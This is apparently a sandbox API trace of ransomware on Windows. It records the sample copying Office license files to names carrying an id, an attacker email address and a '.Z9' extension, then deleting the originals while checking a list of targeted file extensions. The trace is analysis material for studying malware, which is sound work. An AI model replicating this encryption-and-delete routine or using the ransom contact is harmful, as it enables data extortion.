	[0183.816] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-phn.xrm-ms")) returned 0x220
	[0183.817] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-phn.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0183.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0183.817] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.817] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-phn.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0183.818] GetLastError () returned 0x0
	[0183.818] ReadFile (in: hFile=0x554, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x4dd7, lpOverlapped=0x0) returned 1
	[0183.820] WriteFile (in: hFile=0x460, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x4de0, lpOverlapped=0x0) returned 1
	[0183.821] ReadFile (in: hFile=0x554, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.821] WriteFile (in: hFile=0x460, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x10e, lpOverlapped=0x0) returned 1
	[0183.822] SetEndOfFile (hFile=0x460) returned 1
	[0183.822] CloseHandle (hObject=0x460) returned 1
	[0183.822] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.822] SetEndOfFile (hFile=0x554) returned 1
	[0183.825] CloseHandle (hObject=0x554) returned 1
	[0183.825] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0183.825] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-phn.xrm-ms")) returned 1
	[0183.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0183.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0183.826] lstrlenW (lpString=".doc") returned 4
	[0183.826] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.826] lstrlenW (lpString=".docx") returned 5
	[0183.826] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.826] lstrlenW (lpString=".pdf") returned 4
	[0183.826] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.826] lstrlenW (lpString=".xls") returned 4
	[0183.826] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.827] lstrlenW (lpString=".xlsx") returned 5
	[0183.827] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.827] lstrlenW (lpString=".ppt") returned 4
	[0183.827] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0183.827] lstrlenW (lpString=".zip") returned 4
	[0183.827] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.827] lstrlenW (lpString=".rar") returned 4
	[0183.827] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.827] lstrlenW (lpString=".bz2") returned 4
	[0183.827] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.827] lstrlenW (lpString=".7z") returned 3
	[0183.827] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0183.827] lstrlenW (lpString=".dbf") returned 4
	[0183.827] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0183.827] lstrlenW (lpString=".1cd") returned 4
	[0183.827] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0183.827] lstrlenW (lpString=".jpg") returned 4
	[0183.827] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0183.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0183.827] lstrlenW (lpString=".doc") returned 4
	[0183.827] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.827] lstrlenW (lpString=".docx") returned 5
	[0183.827] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.827] lstrlenW (lpString=".pdf") returned 4
	[0183.827] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.827] lstrlenW (lpString=".xls") returned 4
	[0183.827] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.827] lstrlenW (lpString=".xlsx") returned 5
	[0183.827] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.828] lstrlenW (lpString=".ppt") returned 4
	[0183.828] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0183.828] lstrlenW (lpString=".zip") returned 4
	[0183.828] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.828] lstrlenW (lpString=".rar") returned 4
	[0183.828] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.828] lstrlenW (lpString=".bz2") returned 4
	[0183.828] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.828] lstrlenW (lpString=".7z") returned 3
	[0183.828] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0183.828] lstrlenW (lpString=".dbf") returned 4
	[0183.828] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0183.828] lstrlenW (lpString=".1cd") returned 4
	[0183.828] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0183.828] lstrlenW (lpString=".jpg") returned 4
	[0183.828] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.828] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0183.828] lstrlenW (lpString="MondoR_Retail-pl.xrm-ms") returned 23
	[0183.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0183.829] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=10627) returned 1
	[0183.829] CloseHandle (hObject=0x554) returned 1
	[0183.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-pl.xrm-ms")) returned 0x220
	[0183.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0183.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0183.830] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.830] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0183.831] GetLastError () returned 0x0
	[0183.831] ReadFile (in: hFile=0x554, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x2983, lpOverlapped=0x0) returned 1
	[0183.927] WriteFile (in: hFile=0x460, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x2990, lpOverlapped=0x0) returned 1
	[0183.928] ReadFile (in: hFile=0x554, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.928] WriteFile (in: hFile=0x460, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x102, lpOverlapped=0x0) returned 1
	[0183.928] SetEndOfFile (hFile=0x460) returned 1
	[0183.928] CloseHandle (hObject=0x460) returned 1
	[0183.928] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.928] SetEndOfFile (hFile=0x554) returned 1
	[0183.931] CloseHandle (hObject=0x554) returned 1
	[0183.931] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0183.936] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-pl.xrm-ms")) returned 1
	[0183.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73
	[0183.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73
	[0183.937] lstrlenW (lpString=".doc") returned 4
	[0183.937] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.937] lstrlenW (lpString=".docx") returned 5
	[0183.937] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.937] lstrlenW (lpString=".pdf") returned 4
	[0183.937] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.937] lstrlenW (lpString=".xls") returned 4
	[0183.937] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.937] lstrlenW (lpString=".xlsx") returned 5
	[0183.937] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.937] lstrlenW (lpString=".ppt") returned 4
	[0183.937] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73
	[0183.937] lstrlenW (lpString=".zip") returned 4
	[0183.937] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.937] lstrlenW (lpString=".rar") returned 4
	[0183.937] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.938] lstrlenW (lpString=".bz2") returned 4
	[0183.938] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.938] lstrlenW (lpString=".7z") returned 3
	[0183.938] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73
	[0183.938] lstrlenW (lpString=".dbf") returned 4
	[0183.938] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73
	[0183.938] lstrlenW (lpString=".1cd") returned 4
	[0183.938] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73
	[0183.938] lstrlenW (lpString=".jpg") returned 4
	[0183.938] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73
	[0183.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73
	[0183.938] lstrlenW (lpString=".doc") returned 4
	[0183.938] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.938] lstrlenW (lpString=".docx") returned 5
	[0183.938] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.938] lstrlenW (lpString=".pdf") returned 4
	[0183.938] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.938] lstrlenW (lpString=".xls") returned 4
	[0183.938] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.938] lstrlenW (lpString=".xlsx") returned 5
	[0183.938] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.938] lstrlenW (lpString=".ppt") returned 4
	[0183.938] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73
	[0183.938] lstrlenW (lpString=".zip") returned 4
	[0183.938] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.938] lstrlenW (lpString=".rar") returned 4
	[0183.938] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.938] lstrlenW (lpString=".bz2") returned 4
	[0183.938] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.939] lstrlenW (lpString=".7z") returned 3
	[0183.939] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73
	[0183.939] lstrlenW (lpString=".dbf") returned 4
	[0183.939] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73
	[0183.939] lstrlenW (lpString=".1cd") returned 4
	[0183.939] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73
	[0183.939] lstrlenW (lpString=".jpg") returned 4
	[0183.939] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.939] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0183.939] lstrlenW (lpString="MondoR_Retail-ul-phn.xrm-ms") returned 27
	[0183.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0183.940] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=19919) returned 1
	[0183.940] CloseHandle (hObject=0x55c) returned 1
	[0183.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-phn.xrm-ms")) returned 0x220
	[0183.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-phn.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0183.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0183.941] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.941] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-phn.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0183.942] GetLastError () returned 0x0
	[0183.942] ReadFile (in: hFile=0x55c, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x4dcf, lpOverlapped=0x0) returned 1
	[0183.945] WriteFile (in: hFile=0x53c, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x4dd0, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x4dd0, lpOverlapped=0x0) returned 1
	[0183.946] ReadFile (in: hFile=0x55c, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.946] WriteFile (in: hFile=0x53c, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x10a, lpOverlapped=0x0) returned 1
	[0183.946] SetEndOfFile (hFile=0x53c) returned 1
	[0183.946] CloseHandle (hObject=0x53c) returned 1
	[0183.946] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.946] SetEndOfFile (hFile=0x55c) returned 1
	[0183.952] CloseHandle (hObject=0x55c) returned 1
	[0183.952] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0183.952] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-phn.xrm-ms")) returned 1
	[0183.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77
	[0183.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77
	[0183.953] lstrlenW (lpString=".doc") returned 4
	[0183.953] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.953] lstrlenW (lpString=".docx") returned 5
	[0183.953] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.953] lstrlenW (lpString=".pdf") returned 4
	[0183.953] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.953] lstrlenW (lpString=".xls") returned 4
	[0183.953] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.954] lstrlenW (lpString=".xlsx") returned 5
	[0183.954] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.954] lstrlenW (lpString=".ppt") returned 4
	[0183.954] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77
	[0183.954] lstrlenW (lpString=".zip") returned 4
	[0183.954] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.954] lstrlenW (lpString=".rar") returned 4
	[0183.954] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.954] lstrlenW (lpString=".bz2") returned 4
	[0183.954] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.954] lstrlenW (lpString=".7z") returned 3
	[0183.954] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77
	[0183.954] lstrlenW (lpString=".dbf") returned 4
	[0183.954] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77
	[0183.954] lstrlenW (lpString=".1cd") returned 4
	[0183.954] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77
	[0183.954] lstrlenW (lpString=".jpg") returned 4
	[0183.954] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77
	[0183.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77
	[0183.954] lstrlenW (lpString=".doc") returned 4
	[0183.954] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.954] lstrlenW (lpString=".docx") returned 5
	[0183.954] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.954] lstrlenW (lpString=".pdf") returned 4
	[0183.954] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.954] lstrlenW (lpString=".xls") returned 4
	[0183.954] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.954] lstrlenW (lpString=".xlsx") returned 5
	[0183.955] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.955] lstrlenW (lpString=".ppt") returned 4
	[0183.955] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77
	[0183.955] lstrlenW (lpString=".zip") returned 4
	[0183.955] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.955] lstrlenW (lpString=".rar") returned 4
	[0183.955] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.955] lstrlenW (lpString=".bz2") returned 4
	[0183.955] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.955] lstrlenW (lpString=".7z") returned 3
	[0183.955] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77
	[0183.955] lstrlenW (lpString=".dbf") returned 4
	[0183.955] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77
	[0183.955] lstrlenW (lpString=".1cd") returned 4
	[0183.955] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77
	[0183.955] lstrlenW (lpString=".jpg") returned 4
	[0183.955] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.955] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
